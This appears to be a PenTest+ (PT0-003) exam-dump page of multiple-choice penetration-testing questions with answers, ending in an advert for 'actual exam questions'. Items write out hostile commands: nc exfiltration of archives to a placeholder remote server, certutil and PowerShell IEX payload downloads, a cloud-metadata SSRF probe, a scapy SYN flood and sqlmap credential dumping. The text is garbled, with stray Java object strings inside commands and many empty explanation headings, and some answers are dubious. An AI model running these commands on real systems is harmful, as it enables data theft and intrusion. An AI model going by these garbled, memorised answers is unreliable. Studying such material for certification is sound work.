A penetration tester gains access to a Windows machine and wants to further enumerate users with native operating system credentials. Which of the following should the tester use?

- A. route.exe print
- B. netstat.exe -ntp
- C. net.exe commands
- D. strings.exe -a

Answer: C

Explanation:

The net.exe commands are native to the Windows operating system and are used to manage and enumerate network resources, including user accounts.

? Using net.exe Commands:

Step-by-Step Explanation
net user

? uk.co.certification.simulator.questionpool.PList@339a6471 net user <username>

? Additional net.exe Commands: net localgroup

net localgroup <groupname>

? uk.co.certification.simulator.questionpool.PList@1b7dbef8 net session

? Advantages:

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 56

During an assessment, a penetration tester exploits an SQLi vulnerability. Which of the following commands would allow the penetration tester to enumerate password hashes?

- A. sqlmap -u www.example.com/?id=1 --search -T user

- B. sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred
- C. sqlmap -u www.example.com/?id=1 --tables -D accounts
- D. sqlmap -u www.example.com/?id=1 --schema --current-user --current-db

Answer: B

Explanation:

To enumerate password hashes using an SQL injection vulnerability, the penetration tester needs to extract specific columns from the database that typically contain password hashes. The --dump command in sqlmap is used to dump the contents of the specified database table. Here's a breakdown of the options:

- ? Option A: sqlmap -u www.example.com/?id=1 --search -T user
- ? Option B: sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred
- ? Option C: sqlmap -u www.example.com/?id=1 --tables -D accounts
- ? Option D: sqlmap -u www.example.com/?id=1 --schema --current-user --current-db

References from Pentest:

- ? Writeup HTB: Demonstrates using sqlmap to dump data from specific tables to retrieve sensitive information, including password hashes.
- ? Luke HTB: Shows the process of exploiting SQL injection to extract user credentials and hashes by dumping specific columns from the database.

=====

NEW QUESTION 58

During a penetration testing engagement, a tester targets the internet-facing services used by the client. Which of the following describes the type of assessment that should be considered in this scope of work?

- A. Segmentation
- B. Mobile
- C. External
- D. Web

Answer: C

Explanation:

An external assessment focuses on testing the security of internet-facing services. Here's why option C is correct:

- ? External Assessment: It involves evaluating the security posture of services exposed to the internet, such as web servers, mail servers, and other public-facing infrastructure. The goal is to identify vulnerabilities that could be exploited by attackers from outside the organization's network.
- ? Segmentation: This type of assessment focuses on ensuring that different parts of a network are appropriately segmented to limit the spread of attacks. It's more relevant to internal network architecture.
- ? Mobile: This assessment targets mobile applications and devices, not general internet-facing services.
- ? Web: While web assessments focus on web applications, the scope of an external assessment is broader and includes all types of internet-facing services.

References from Pentest:

- ? Horizontal HTB: Highlights the importance of assessing external services to identify vulnerabilities that could be exploited from outside the network.
- ? Luke HTB: Demonstrates the process of evaluating public-facing services to ensure their security.

Conclusion:

Option C, External, is the most appropriate type of assessment for targeting internet-facing services used by the client.

=====

NEW QUESTION 62

A penetration tester is conducting a vulnerability scan. The tester wants to see any vulnerabilities that may be visible from outside of the organization. Which of the following scans should the penetration tester perform?

- A. SAST
- B. Sidecar
- C. Unauthenticated
- D. Host-based

Answer: C

Explanation:

To see any vulnerabilities that may be visible from outside of the organization, the penetration tester should perform an unauthenticated scan.

- ? Unauthenticated Scan:
- ? Comparison with Other Scans:
- ? Pentest References:

By performing an unauthenticated scan, the penetration tester can identify vulnerabilities that an external attacker could exploit without needing any credentials or internal access.

=====

NEW QUESTION 65

A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?

- A. Apply UTF-8 to the data and send over a tunnel to TCP port 25.
- B. Apply Base64 to the data and send over a tunnel to TCP port 80.
- C. Apply 3DES to the data and send over a tunnel UDP port 53.
- D. Apply AES-256 to the data and send over a tunnel to TCP port 443.

Answer: D

Explanation:

AES-256 (Advanced Encryption Standard with a 256-bit key) is a symmetric encryption algorithm widely used for securing data. Sending data over TCP port 443, which is typically used for HTTPS, helps to avoid detection by network monitoring systems as it blends with regular secure web traffic.

- ? Encrypting Data with AES-256:
Step-by-Step Explanation
openssl enc -aes-256-cbc -salt -in plaintext.txt -out encrypted.bin

-k secretkey
 ? Setting Up a Secure Tunnel:
 ssh -L 443:targetserver:443 user@intermediatehost
 ? Transferring Data Over the Tunnel: cat encrypted.bin | nc targetserver 443
 ? Benefits of Using AES-256 and Port 443:
 ? Real-World Example:
 ? References from Pentesting Literature: References:
 ? Penetration Testing - A Hands-on Introduction to Hacking
 ? HTB Official Writeups
 =====

NEW QUESTION 70

A penetration tester wants to check the security awareness of specific workers in the company with targeted attacks. Which of the following attacks should the penetration tester perform?

- A. Phishing
- B. Tailgating
- C. Whaling
- D. Spear phishing

Answer: D

Explanation:

Spear phishing is a targeted email attack aimed at specific individuals within an organization. Unlike general phishing, spear phishing is personalized and often involves extensive reconnaissance to increase the likelihood of success.

? Understanding Spear Phishing:
 ? Purpose:
 ? Process:
 ? References from Pentesting Literature: Step-by-Step ExplanationReferences:
 ? Penetration Testing - A Hands-on Introduction to Hacking
 ? HTB Official Writeups
 =====

NEW QUESTION 75

A penetration tester is performing network reconnaissance. The tester wants to gather information about the network without causing detection mechanisms to flag the reconnaissance activities. Which of the following techniques should the tester use?

- A. Sniffing
- B. Banner grabbing
- C. TCP/UDP scanning
- D. Ping sweeps

Answer: A

Explanation:

To gather information about the network without causing detection mechanisms to flag the reconnaissance activities, the penetration tester should use sniffing.

? Sniffing:
 ? Advantages:
 ? Comparison with Other Techniques:
 Pentest References:
 ? Reconnaissance Phase: Using passive techniques like sniffing during the initial reconnaissance phase helps gather information without alerting the target.
 ? Network Analysis: Understanding the network topology and identifying key assets and vulnerabilities without generating traffic that could trigger alarms.
 By using sniffing, the penetration tester can gather detailed information about the network in a stealthy manner, minimizing the risk of detection.
 =====

NEW QUESTION 78

A penetration tester presents the following findings to stakeholders:
 Control | Number of findings | Risk | Notes Encryption | 1 | Low | Weak algorithm noted Patching | 8 | Medium | Unsupported systems System hardening | 2 | Low | Baseline drift observed
 Secure SDLC | 10 | High | Libraries have vulnerabilities Password policy | 0 | Low | No exceptions noted
 Based on the findings, which of the following recommendations should the tester make? (Select two).

- A. Develop a secure encryption algorithm.
- B. Deploy an asset management system.
- C. Write an SDLC policy.
- D. Implement an SCA tool.
- E. Obtain the latest library version.
- F. Patch the libraries.

Answer: DE

Explanation:

Based on the findings, the focus should be on addressing vulnerabilities in libraries and ensuring their security. Here??s why options D and E are correct:

? Implement an SCA Tool:
 ? Obtain the Latest Library Version:
 Other Options Analysis:
 ? Develop a Secure Encryption Algorithm: This is not practical or necessary given that the issue is with the use of a weak algorithm, not the need to develop a new one.
 ? Deploy an Asset Management System: While useful, this is not directly related to the identified high-risk issue of vulnerable libraries.
 ? Write an SDLC Policy: While helpful, the more immediate and effective actions involve implementing tools and processes to manage and update libraries.

References from Pentest:

? Horizontal HTB: Demonstrates the importance of managing software dependencies and using tools to identify and mitigate vulnerabilities in libraries.

? Writeup HTB: Highlights the need for keeping libraries updated to ensure application security and mitigate risks.

Conclusion:

Options D and E, implementing an SCA tool and obtaining the latest library version, are the most appropriate recommendations to address the high-risk finding related to vulnerable libraries in the Secure SDLC process.

=====

NEW QUESTION 79

A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:

Action | SRC

| DEST

| --

Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP Allow | 192.168.10.0/24 : 1-65535 |

0.0.0.0/0:443 | TCP

Block | . | . | *

Which of the following commands should the tester try next?

A. `tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 </tmp/data.tar.gz`

B. `gzip /path/to/data && cp data.gz <remote_server> 443`

C. `gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 <remote_server> 22`

D. `tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>`

Answer: A

Explanation:

Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:

? Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).

? Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).

? Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).

? Block: All other traffic (*). Breakdown of Options:

? Option A: `tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443`

`< /tmp/data.tar.gz`

? Option B: `gzip /path/to/data && cp data.gz <remote_server> 443`

? Option C: `gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3`

`<remote_server> 22`

? Option D: `tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz`

`<remote_server>`

References from Pentest:

? Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.

? Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.

? Horizontal HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.

=====

NEW QUESTION 83

A penetration tester is authorized to perform a DoS attack against a host on a network. Given the following input:

`ip = IP("192.168.50.2")`

`tcp = TCP(sport=RandShort(), dport=80, flags="S") raw = RAW(b"X"*1024)`

`p = ip/tcp/raw`

`send(p, loop=1, verbose=0)`

Which of the following attack types is most likely being used in the test?

A. MDK4

B. Smurf attack

C. FragAttack

D. SYN flood

Answer: D

Explanation:

A SYN flood attack exploits the TCP handshake process by sending a large number of SYN packets to a target, consuming resources and causing a denial of service.

? Understanding the Script:

? Purpose of SYN Flood:

? Detection and Mitigation:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 87

During an assessment, a penetration tester wants to extend the vulnerability search to include the use of dynamic testing. Which of the following tools should the tester use?

A. Mimikatz

B. ZAP

- C. OllyDbg
- D. SonarQube

Answer: B

Explanation:

? Dynamic Application Security Testing (DAST):

? ZAP (Zed Attack Proxy):

? Other Tools:

Pentest References:

? Web Application Security Testing: Utilizing DAST tools like ZAP to dynamically test and find vulnerabilities in running web applications.

? OWASP Tools: Leveraging open-source tools recommended by OWASP for comprehensive security testing.

By using ZAP, the penetration tester can perform dynamic testing to identify runtime vulnerabilities in web applications, extending the scope of the vulnerability search.

=====

NEW QUESTION 91

During an external penetration test, a tester receives the following output from a tool:

test.comptia.org info.comptia.org vpn.comptia.org exam.comptia.org

Which of the following commands did the tester most likely run to get these results?

- A. nslookup -type=SOA comptia.org
- B. amass enum -passive -d comptia.org
- C. nmap -Pn -sV -vv -A comptia.org
- D. shodan host comptia.org

Answer: B

Explanation:

The tool and command provided by option B are used to perform passive DNS enumeration, which can uncover subdomains associated with a domain. Here??s why option B is correct:

? amass enum -passive -d comptia.org: This command uses the Amass tool to perform passive DNS enumeration, effectively identifying subdomains of the target domain. The output provided (subdomains) matches what this tool and command would produce.

? nslookup -type=SOA comptia.org: This command retrieves the Start of Authority (SOA) record, which does not list subdomains.

? nmap -Pn -sV -vv -A comptia.org: This Nmap command performs service detection and aggressive scanning but does not enumerate subdomains.

? shodan host comptia.org: Shodan is an internet search engine for connected devices, but it does not perform DNS enumeration to list subdomains.

References from Pentest:

? Writeup HTB: Demonstrates the use of DNS enumeration tools like Amass to uncover subdomains during external assessments.

? Horizontal HTB: Highlights the effectiveness of passive DNS enumeration in identifying subdomains and associated information.

=====

NEW QUESTION 95

Which of the following components should a penetration tester include in an assessment report?

- A. User activities
- B. Customer remediation plan
- C. Key management
- D. Attack narrative

Answer: D

Explanation:

An attack narrative provides a detailed account of the steps taken during the penetration test, including the methods used, vulnerabilities exploited, and the outcomes of each attack. This helps stakeholders understand the context and implications of the findings.

? Components of an Assessment Report:

? Importance of Attack Narrative:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 100

A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test for secrets exposure exploitability?

- A. curl <url>?param=http://169.254.169.254/latest/meta-data/
- B. curl ' <url>?param=http://127.0.0.1/etc/passwd'
- C. curl ' <url>?param=<script>alert(1)<script>/'
- D. curl <url>?param=http://127.0.0.1/

Answer: A

Explanation:

In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services. Here??s why the specified command is appropriate:

? Accessing Cloud Metadata Service:

? Comparison with Other Commands:

Using curl <url>?param=http://169.254.169.254/latest/meta-data/ is the correct approach to test for SSRF vulnerabilities in cloud environments to potentially expose secrets.

=====

NEW QUESTION 101

During an engagement, a penetration tester needs to break the key for the Wi-Fi network that uses WPA2 encryption. Which of the following attacks would accomplish this objective?

- A. ChopChop
- B. Replay
- C. Initialization vector
- D. KRACK

Answer: D

Explanation:

KRACK (Key Reinstallation Attack) exploits a vulnerability in the WPA2 protocol to decrypt and inject packets, potentially allowing an attacker to break the encryption key and gain access to the Wi-Fi network.

? Understanding KRACK:

? Attack Steps:

? Impact:

? Mitigation:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 105

A penetration tester assesses an application allow list and has limited command-line access on the Windows system. Which of the following would give the penetration tester information that could aid in continuing the test?

- A. mmc.exe
- B. icacls.exe
- C. nltest.exe
- D. rundll.exe

Answer: C

Explanation:

When a penetration tester has limited command-line access on a Windows system, the choice of tool is critical for gathering information to aid in furthering the test.

Here??s an explanation for each option:

? mmc.exe (Microsoft Management Console):

? icacls.exe:

? nltest.exe:

? rundll.exe:

Conclusion: nltest.exe is the best choice among the given options as it provides valuable information about the network, domain controllers, and trust relationships.

This information is crucial for a penetration tester to plan further actions and understand the domain environment.

=====

NEW QUESTION 107

A penetration tester needs to launch an Nmap scan to find the state of the port for both TCP and UDP services. Which of the following commands should the tester use?

- A. nmap -sU -sW -p 1-65535 example.com
- B. nmap -sU -sY -p 1-65535 example.com
- C. nmap -sU -sT -p 1-65535 example.com
- D. nmap -sU -sN -p 1-65535 example.com

Answer: C

Explanation:

? Comparison with Other Options:

=====

NEW QUESTION 108

While conducting a peer review for a recent assessment, a penetration tester finds the debugging mode is still enabled for the production system. Which of the following is most likely responsible for this observation?

- A. Configuration changes were not reverted.
- B. A full backup restoration is required for the server.
- C. The penetration test was not completed on time.
- D. The penetration tester was locked out of the system.

Answer: A

Explanation:

? Debugging Mode:

? Common Causes:

? Best Practices:

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 109

Which of the following protocols would a penetration tester most likely utilize to exfiltrate data covertly and evade detection?

- A. FTP
- B. HTTPS
- C. SMTP
- D. DNS

Answer: D

Explanation:

Covert data exfiltration is a crucial aspect of advanced penetration testing. Penetration testers often need to move data out of a network without being detected by the organization's security monitoring tools. Here's a breakdown of the potential methods and why DNS is the preferred choice for covert data exfiltration:

? FTP (File Transfer Protocol) (Option A):

? HTTPS (Hypertext Transfer Protocol Secure) (Option B):

? SMTP (Simple Mail Transfer Protocol) (Option C):

? DNS (Domain Name System) (Option D):

Conclusion: DNS tunneling stands out as the most effective method for covert data exfiltration due to its ability to blend in with normal network traffic and avoid detection by conventional security mechanisms. Penetration testers utilize this method to evade scrutiny while exfiltrating data.

NEW QUESTION 111

While conducting a reconnaissance activity, a penetration tester extracts the following information:

Emails: - admin@acme.com - sales@acme.com - support@acme.com

Which of the following risks should the tester use to leverage an attack as the next step in the security assessment?

- A. Unauthorized access to the network
- B. Exposure of sensitive servers to the internet
- C. Likelihood of SQL injection attacks
- D. Indication of a data breach in the company

Answer: A

Explanation:

When a penetration tester identifies email addresses during reconnaissance, the most immediate risk to leverage for an attack is unauthorized access to the network. Here's why:

? Phishing Attacks:

? Spear Phishing:

? Comparison with Other Risks:

Email addresses are a starting point for phishing attacks, making unauthorized access to the network the most relevant risk.

=====

NEW QUESTION 114

Before starting an assessment, a penetration tester needs to scan a Class B IPv4 network for open ports in a short amount of time. Which of the following is the best tool for this task?

- A. Burp Suite
- B. masscan
- C. Nmap
- D. hping

Answer: B

Explanation:

When needing to scan a large network for open ports quickly, the choice of tool is critical. Here's why option B is correct:

? masscan: This tool is designed for high-speed port scanning and can scan entire networks much faster than traditional tools like Nmap. It can handle large ranges of IP addresses and ports with high efficiency.

? Nmap: While powerful and versatile, Nmap is generally slower than masscan for scanning very large networks, especially when speed is crucial.

? Burp Suite: This tool is primarily for web application security testing and not optimized for network-wide port scanning.

? hping: This is a network tool used for packet crafting and network testing, but it is not designed for high-speed network port scanning.

References from Pentest:

? Luke HTB: Highlights the use of efficient tools for large-scale network scanning to identify open ports quickly.

? Anubis HTB: Demonstrates scenarios where high-speed scanning tools like masscan are essential for large network assessments.

=====

NEW QUESTION 118

A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?

- A. Enable monitoring mode using Aircrack-ng.
- B. Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
- C. Run KARMA to break the password.
- D. Research WiGLE.net for potential nearby client access points.

Answer: A

Explanation:

Enabling monitoring mode on the wireless adapter is the essential step before capturing WPA2 handshakes. Monitoring mode allows the adapter to capture all wireless traffic in its vicinity, which is necessary for capturing handshakes.

? Preparation:

? Enable Monitoring Mode:
Step-by-Step Explanationairmon-ng start wlan0
? uk.co.certification.simulator.questionpool.PList@3327f1d6 iwconfig
? Capture WPA2 Handshakes: airodump-ng wlan0mon
? References from Pentesting Literature: References:
? Penetration Testing - A Hands-on Introduction to Hacking
? HTB Official Writeups
=====

NEW QUESTION 120

A penetration tester downloads a JAR file that is used in an organization's production environment. The tester evaluates the contents of the JAR file to identify potentially vulnerable components that can be targeted for exploit. Which of the following describes the tester's activities?

- A. SAST
- B. SBOM
- C. ICS
- D. SCA

Answer: D

Explanation:

The tester's activity involves analyzing the contents of a JAR file to identify potentially vulnerable components. This process is known as Software Composition Analysis (SCA). Here's why:

? Understanding SCA:

? Comparison with Other Terms:

The tester's activity of examining a JAR file for vulnerable components aligns with SCA, making it the correct answer.

=====

NEW QUESTION 121

A penetration tester is getting ready to conduct a vulnerability scan as part of the testing process. The tester will evaluate an environment that consists of a container orchestration cluster. Which of the following tools should the tester use to evaluate the cluster?

- A. Trivy
- B. Nessus
- C. Grype
- D. Kube-hunter

Answer: D

Explanation:

Evaluating a container orchestration cluster, such as Kubernetes, requires specialized tools designed to assess the security and configuration of container environments. Here's an analysis of each tool and why Kube-hunter is the best choice:

? Trivy (Option A):

? Nessus (Option B):

? Grype (Option C):

? Kube-hunter (Answer: D):

Conclusion: Kube-hunter is the most appropriate tool for evaluating a container orchestration cluster, such as Kubernetes, due to its specialized focus on identifying security vulnerabilities and misconfigurations specific to such environments.

NEW QUESTION 125

A penetration tester is conducting reconnaissance for an upcoming assessment of a large corporate client. The client authorized spear phishing in the rules of engagement. Which of the following should the tester do first when developing the phishing campaign?

- A. Shoulder surfing
- B. Recon-ng
- C. Social media
- D. Password dumps

Answer: C

Explanation:

When developing a phishing campaign, the tester should first use social media to gather information about the targets.

? Social Media:

? Process:

? Other Options:

Pentest References:

? Spear Phishing: A targeted phishing attack aimed at specific individuals, using personal information to increase the credibility of the email.

? OSINT (Open Source Intelligence): Leveraging publicly available information to gather intelligence on targets, including through social media.

By starting with social media, the penetration tester can collect detailed and personalized information about the targets, which is essential for creating an effective spear phishing campaign.

=====

NEW QUESTION 129

A penetration tester obtains password dumps associated with the target and identifies strict lockout policies. The tester does not want to lock out accounts when attempting access.

Which of the following techniques should the tester use?

- A. Credential stuffing
- B. MFA fatigue

- C. Dictionary attack
- D. Brute-force attack

Answer: A

Explanation:

To avoid locking out accounts while attempting access, the penetration tester should use credential stuffing.

? Credential Stuffing:

? Other Techniques:

Pentest References:

? Password Attacks: Understanding different types of password attacks and their implications on account security.

? Account Lockout Policies: Awareness of how lockout mechanisms work and strategies to avoid triggering them during penetration tests.

By using credential stuffing, the penetration tester can attempt to gain access using known credentials without triggering account lockout policies, ensuring a stealthier approach to password attacks.

=====

NEW QUESTION 132

A penetration tester finished a security scan and uncovered numerous vulnerabilities on several hosts. Based on the targets' EPSS and CVSS scores, which of the following targets is the most likely to get attacked?

Host | CVSS | EPSS Target 1 | 4 | 0.6

Target 2 | 2 | 0.3

Target 3 | 1 | 0.6

Target 4 | 4.5 | 0.4

- A. Target 1: CVSS Score = 4 and EPSS Score = 0.6
- B. Target 2: CVSS Score = 2 and EPSS Score = 0.3
- C. Target 3: CVSS Score = 1 and EPSS Score = 0.6
- D. Target 4: CVSS Score = 4.5 and EPSS Score = 0.4

Answer: A

Explanation:

Based on the CVSS (Common Vulnerability Scoring System) and EPSS (Exploit Prediction Scoring System) scores, Target 1 is the most likely to get attacked.

? CVSS:

? EPSS:

? Analysis:

Pentest References:

? Vulnerability Prioritization: Using CVSS and EPSS scores to prioritize vulnerabilities based on severity and likelihood of exploitation.

? Risk Assessment: Understanding the balance between impact (CVSS) and exploit likelihood (EPSS) to identify the most critical targets for remediation or attack.

By focusing on Target 1, which has a balanced combination of severity and exploitability, the penetration tester can address the most likely target for attacks based on the given scores.

=====

NEW QUESTION 137

Which of the following is a term used to describe a situation in which a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee?

- A. Badge cloning
- B. Shoulder surfing
- C. Tailgating
- D. Site survey

Answer: C

Explanation:

? Understanding Tailgating:

? Methods to Prevent Tailgating:

? Examples in Penetration Testing:

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 142

A penetration tester needs to confirm the version number of a client's web application server. Which of the following techniques should the penetration tester use?

- A. SSL certificate inspection
- B. URL spidering
- C. Banner grabbing
- D. Directory brute forcing

Answer: C

Explanation:

Banner grabbing is a technique used to obtain information about a network service, including its version number, by connecting to the service and reading the response.

? Understanding Banner Grabbing:

? Manual Banner Grabbing:

Step-by-Step Explanation:telnet target_ip 80

? uk.co.certification.simulator.questionpool.PList@5af47689 nc target_ip 80

? Automated Banner Grabbing: nmap -sV target_ip
? Benefits:
? References from Pentesting Literature: References:
? Penetration Testing - A Hands-on Introduction to Hacking
? HTB Official Writeups
=====

NEW QUESTION 145

A penetration tester cannot find information on the target company's systems using common OSINT methods. The tester's attempts to do reconnaissance against internet-facing resources have been blocked by the company's WAF. Which of the following is the best way to avoid the WAF and gather information about the target company's systems?

- A. HTML scraping
- B. Code repository scanning
- C. Directory enumeration
- D. Port scanning

Answer: B

Explanation:

When traditional reconnaissance methods are blocked, scanning code repositories is an effective method to gather information. Here's why:

? Code Repository Scanning:

? Comparison with Other Methods:

Scanning code repositories allows gathering a wide range of information that can be critical for further penetration testing effort

=====

NEW QUESTION 147

A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?

- A. powershell.exe impo C:\tools\foo.ps1
- B. certutil.exe -f https://192.168.0.1/foo.exe bad.exe
- C. powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/")
- D. rundll32.exe c:\path\foo.dll,functionName

Answer: B

Explanation:

To execute a payload and gain additional access, the penetration tester should use certutil.exe. Here's why:

? Using certutil.exe:

? Comparison with Other Commands:

Using certutil.exe to download and execute a payload is a common and effective method.

=====

NEW QUESTION 148

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

PT0-003 Practice Exam Features:

- * PT0-003 Questions and Answers Updated Frequently
- * PT0-003 Practice Questions Verified by Expert Senior Certified Staff
- * PT0-003 Most Realistic Questions that Guarantee you a Pass on Your First Try
- * PT0-003 Practice Test Questions in Multiple Choice Formats and Updates for 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The PT0-003 Practice Test Here](#)